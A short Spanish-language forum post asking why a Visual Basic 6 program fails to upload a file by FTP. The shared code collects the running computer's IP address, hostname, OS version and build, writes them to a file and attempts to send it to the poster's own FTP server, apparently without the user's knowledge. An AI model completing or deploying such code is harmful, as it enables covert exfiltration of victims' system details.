Visual Basic - AYUDA CON TRANSFERENCIA FTP

Hola pues en mi aplicacion e conseguido acceder al ftp pero no consigo ni subir no bajar NADA:

Private Sub Command1_Click()
ti = ti + 1
If ti = 1 Then
Open ("juas.txt") For Output As #2
Print #2, "IP del host......... "; Winsock1.LocalIP
Print #2, "Nombre del host..... "; Winsock1.LocalHostName
Print #2, "SO.................."; SysInfo1.OSPlatform
Print #2, "Version............."; SysInfo1.OSVersion
Print #2, "nose xD............."; SysInfo1.OSBuild
Print #2, Date
Print #2, Time
Close #2
Inet1.Execute "ftp://user:mypass@ftp", "PUT juas.txt" & Winsock1.LocalHostName & ".txt"
End If
End Sub

weno pos lo q tengo esq me coge unos datillos del ordenador donde se ejecuta pero no consigo q exista transfer4encia pero si se conecta xq me e echo un server ftp y esta conectao pero ni sube nu baja nada...

q podria acer??????